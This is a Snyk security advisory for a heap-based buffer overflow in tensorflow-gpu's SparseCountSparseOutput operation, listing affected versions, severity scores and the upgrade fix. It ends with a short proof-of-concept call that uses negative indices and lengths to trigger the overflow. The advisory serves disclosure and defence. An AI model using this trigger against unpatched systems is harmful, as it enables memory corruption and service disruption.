Heap-based Buffer Overflow Affecting tensorflow-gpu package, versions [,2.5.3) [2.6.0,2.6.3) [2.7.0,2.7.1)


0.0
high

Snyk CVSS

    Attack Complexity Low
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.27% (68th percentile)
Expand this section
NVD
8.8 high

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-TENSORFLOWGPU-2393363
  • published 3 Feb 2022
  • disclosed 3 Feb 2022
  • credit Faysal Hossain Shezan

How to fix?

Upgrade tensorflow-gpu to version 2.5.3, 2.6.3, 2.7.1 or higher.

Overview

tensorflow-gpu is a machine learning framework.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow via the implementation of SparseCountSparseOutput.

###PoC

import tensorflow as tf
import numpy as np

tf.raw_ops.SparseCountSparseOutput( indices=[[-1,-1]], values=[2], dense_shape=[1, 1], weights=[1], binary_output=True, minlength=-1, maxlength=-1, name=None)